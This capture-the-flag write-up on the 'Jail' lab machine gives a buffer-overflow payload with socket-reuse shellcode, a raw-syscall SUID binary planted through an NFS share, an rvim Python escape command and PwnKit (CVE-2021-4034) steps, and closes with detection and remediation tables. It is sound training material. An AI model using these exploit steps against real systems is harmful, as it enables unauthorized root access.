Overview
Jail is an Insane-rated Linux machine running CentOS 7 with kernel 3.10.0-514.
It exposes six ports, including a custom binary (jail) on port 7411 that
implements a simple authentication protocol with a textbook stack buffer
overflow. The exploit development is where the difficulty lies: the attacker IP
contains 0x0a (decimal 10, newline), which is the delimiter character for the
protocol. Standard reverse shell shellcode embeds the IP address and gets
truncated. The solution is socket-reuse shellcode that redirects stdin/stdout/
stderr to the existing socket file descriptor.
Privilege escalation spans three users across four techniques. NFS with
no_all_squash and no nosuid flag allows writing a SUID binary as frank
(uid 1000) from the attacker’s machine. Static binary compilation with raw
syscalls avoids glibc version mismatches between the attacker (glibc 2.34+)
and target (glibc 2.17). From frank, a restricted vim (rvim) escape via
Python’s :py command (available in CentOS 7’s vim build) provides access
as adm. Finally, PwnKit (CVE-2021-4034) exploits a memory corruption in
pkexec when invoked with argc=0 to achieve root.
Reconnaissance
nmap -sC -sV -T4 10.129.13.13
| Port | Service | Product / Version | Notes |
|---|---|---|---|
| 22 | SSH | OpenSSH 6.6.1 | CentOS 7 |
| 80 | HTTP | Apache 2.4.6 (CentOS) | ASCII art jail cell |
| 111 | rpcbind | ||
| 2049 | NFS | Two exported shares | |
| 7411 | jail | Custom binary | Authentication service |
| 20048 | mountd |
NFS exports:
/opt (rw,sync,root_squash,no_all_squash)
/var/nfsshare (rw,sync,root_squash,no_all_squash)
The no_all_squash option preserves UIDs from the mounting client. Combined
with no nosuid flag on the export, this allows SUID binary creation that
executes as the mapped user on the target.
Attack Surface Analysis
Port 80 serves ASCII art. Directory enumeration finds /jailuser/dev/
containing three files: jail (32-bit ELF), jail.c (source code), and
compile.sh (build script). The compile script reveals -z execstack, making
the stack executable.
The jail binary implements a simple protocol: DEBUG enables debug mode,
USER admin sets the username, PASS <password> authenticates (hardcoded
password: 1974jailbreak!). The vulnerability sits in the auth() function:
int auth(char *username, char *password) {
char userpass[16];
strcpy(userpass, password); // No bounds check on 16-byte buffer
}
The DEBUG command prints the exact address of userpass, confirming ASLR is
disabled: Debug: userpass buffer @ 0xffffd610.
Vulnerability Analysis
Buffer overflow in jail binary
| Attribute | Value |
|---|---|
| Type | Stack buffer overflow |
| CWE | CWE-120 (Buffer Copy without Checking Size) |
| Buffer size | 16 bytes |
| Offset to EIP | 28 bytes |
| ASLR | Disabled (exact address leaked via DEBUG) |
| NX | Disabled (-z execstack) |
| Canary | Absent |
Bad byte problem
The attacker IP 10.10.14.84 contains 0x0a (decimal 10, ASCII newline). The
jail binary uses strtok with \n as delimiter, so any shellcode containing
0x0a bytes is truncated. This rules out standard reverse shell shellcode that
embeds the IP address directly.
CVE-2021-4034: PwnKit
| Attribute | Value |
|---|---|
| CVE | CVE-2021-4034 |
| Component | polkit pkexec 0.112 |
| Type | Memory corruption via argc=0 |
| Prerequisite | Any local user account |
When pkexec is invoked with an empty argv array, it reads argv[1] from
envp[0] (out-of-bounds). The resolution through g_find_program_in_path()
writes back to the same memory location, overwriting envp[0] and injecting
a GCONV_PATH environment variable. Error message handling loads a gconv
module from the attacker-controlled path, executing a malicious shared library
constructor as root.
Exploitation
Step 1: Socket-reuse shellcode for nobody shell
Instead of a reverse shell, the exploit uses 33 bytes of shellcode that reuses the existing socket connection (file descriptor 4):
dup2(4, 0): redirect stdin to the socketdup2(4, 1): redirect stdout to the socketdup2(4, 2): redirect stderr to the socketexecve("/bin/sh", NULL, NULL): spawn shell
The exploit payload:
buf_addr = 0xffffd610
ret_addr = buf_addr + 28 + 4 + 16 # 0xffffd640
payload = b"PASS " + b"A"*28 + struct.pack("<I", ret_addr) \
+ b"\x90"*64 + shellcode + b"\n"
The protocol sequence: connect, send DEBUG, send USER admin, send the
overflow payload as PASS. The return address points into the NOP sled. Shell
as nobody (uid 99).
Step 2: NFS SUID escalation to frank
/var/nfsshare has mode 0731 with GID 1000. On the target, UID 1000 is
frank. Because no_all_squash preserves UIDs and no nosuid flag is set,
I create a SUID binary on the NFS share from the attacker machine.
The binary must avoid glibc version mismatches. I use raw x86_64 syscalls with no libc dependency:
.global _start
_start:
# setresgid(1000, 1000, 1000)
mov $119, %rax
mov $1000, %rdi
mov $1000, %rsi
mov $1000, %rdx
syscall
# setresuid(1000, 1000, 1000)
mov $117, %rax
# ... same args ...
syscall
# execve("/bin/bash", ["/bin/bash", "/var/nfsshare/cmd.sh", NULL], NULL)
Compiled with gcc -nostdlib -static, placed on the NFS share with chmod 4755.
The SUID binary executes a script that writes an ED25519 SSH key to frank’s
.ssh/authorized_keys. RSA keys fail because OpenSSH 6.6.1 does not support
RSA-SHA2.
ssh -i jail_frank [email protected]
User flag obtained.
Step 3: rvim Python escape to adm
Frank has a sudo rule:
(adm) NOPASSWD: /usr/bin/rvim /var/www/html/jailuser/dev/jail.c
Restricted vim (rvim) blocks :!, :shell, and -S. But CentOS 7’s vim
build includes +python/dyn (dynamic Python 2 support). The :py command
works in rvim on this version:
:py import os; os.execvp('/var/nfsshare/adm_enum.sh', ['sh'])
Automating this requires handling two interactive prompts (swap file and TERM warning) via PTY-based keystroke injection.
Step 4: PwnKit for root
The adm user itself is a dead end (uid 3, gid 4, matches only other::---
on critical ACLs). But frank can use PwnKit directly.
The exploit creates a directory structure matching the write-back path:
./GCONV_PATH=./ directory searched by PATH
./GCONV_PATH=./evildir fake executable found by g_find_program_in_path
./evildir/ directory pointed to by GCONV_PATH
./evildir/gconv-modules gconv configuration loading pwnkit module
./evildir/pwnkit.so malicious shared library
The shared library constructor calls setuid(0) and copies bash to
/tmp/rootbash with SUID. All commands must use absolute paths because PATH
is corrupted to GCONV_PATH=. during exploitation.
/tmp/rootbash -p -c 'cat /root/root.txt'
# [flag redacted]
Root flag obtained.
Post-Exploitation
CentOS 7 with kernel 3.10.0-514, SELinux enforcing (targeted policy) with
unconfined_t context. Eleven dead-end approaches were investigated:
- DirtyCow (kernel patched at 327, this is 514)
- NFS
root_squashbypass (UID 0 mapped to nfsnobody) - suexec capabilities (
cap_setuid+epbut requires apache group) - CGI/PHP webshell deployment (write-protected directories)
/opt/logreadermodification via NFS or as adm (ACL blocks both)- Cron job hijack (no root crontab)
jail.cbackdoor (writable by adm but no compilation trigger)
The most instructive dead end is the /opt/logreader/ ACL analysis. The
directory has POSIX ACLs granting frank r-x via named user entry, root full
access via owner, and other::---. The adm user (uid 3, gid 4) matches
only the other entry and has zero access.
Defensive Analysis
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| Initial Access | T1190 Exploit Public-Facing App | Buffer overflow on custom jail binary (port 7411) |
| Execution | T1059.004 Unix Shell | /bin/sh spawned via socket-reuse shellcode |
| Privilege Escalation | T1548 Abuse Elevation Control | NFS SUID binary creation via no_all_squash |
| Privilege Escalation | T1059.006 Python | rvim :py escape to execute commands as adm |
| Privilege Escalation | T1068 Exploitation for Priv Esc | PwnKit CVE-2021-4034 pkexec argc=0 |
| Persistence | T1098.004 SSH Authorized Keys | ED25519 key written to frank’s authorized_keys |
| Credential Access | T1552.001 Credentials in Files | Hardcoded credentials in jail binary source |
The custom binary on port 7411 is the primary attack surface. Process monitoring
should flag /bin/sh spawned as a child of the jail process. NFS share
access logging would detect the SUID binary creation. For PwnKit, monitoring
execve calls to pkexec with argc=0 (via auditd or eBPF) is the definitive
detection.
Remediation
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Upgrade polkit to version patched for CVE-2021-4034 | Low | Critical |
| P0 | Add nosuid option to NFS exports | Low | Critical |
| P0 | Fix buffer overflow in jail binary (use strncpy with bounds check) | Low | Critical |
| P1 | Remove source code and binaries from web-accessible directory | Low | High |
| P1 | Remove hardcoded credentials from jail binary | Low | High |
| P1 | Upgrade OpenSSH to current version | Medium | High |
| P2 | Enable ASLR and compile with stack canaries and NX | Low | Medium |
| P2 | Restrict rvim Python support (compile vim without +python) | Medium | Medium |
| P3 | Migrate from CentOS 7 to a supported distribution | High | High |
The NFS misconfiguration is the most impactful single fix. Adding nosuid to
both exports eliminates the SUID binary escalation path entirely, regardless of
the no_all_squash setting. The PwnKit fix is equally critical; polkit should
be upgraded on every CentOS 7 system that has not already applied the patch.
Key Takeaways
-
Bad byte analysis is essential for exploit development. The
0x0abyte in the attacker IP forced a fundamentally different shellcode strategy. Socket-reuse shellcode avoids embedding the IP entirely. Always check the protocol delimiter against payload bytes before writing shellcode. -
NFS misconfigurations compound.
no_all_squashalone is not exploitable without the missingnosuidflag. Both conditions must hold for SUID binary escalation. Cross-compilation with raw syscalls (-nostdlib -static) eliminates glibc version mismatches between attacker and target. -
rvim restrictions are version-dependent. CentOS 7’s vim build includes dynamic Python support that remains functional in restricted mode. Modern vim versions block
:pyin rvim. Always test the specific binary on the target rather than assuming restriction effectiveness from documentation. -
PwnKit requires absolute paths in the payload. PATH is corrupted to
GCONV_PATH=.during the exploit. Every command in the shared library constructor must use absolute paths (/bin/cp,/bin/chmod), or they fail silently.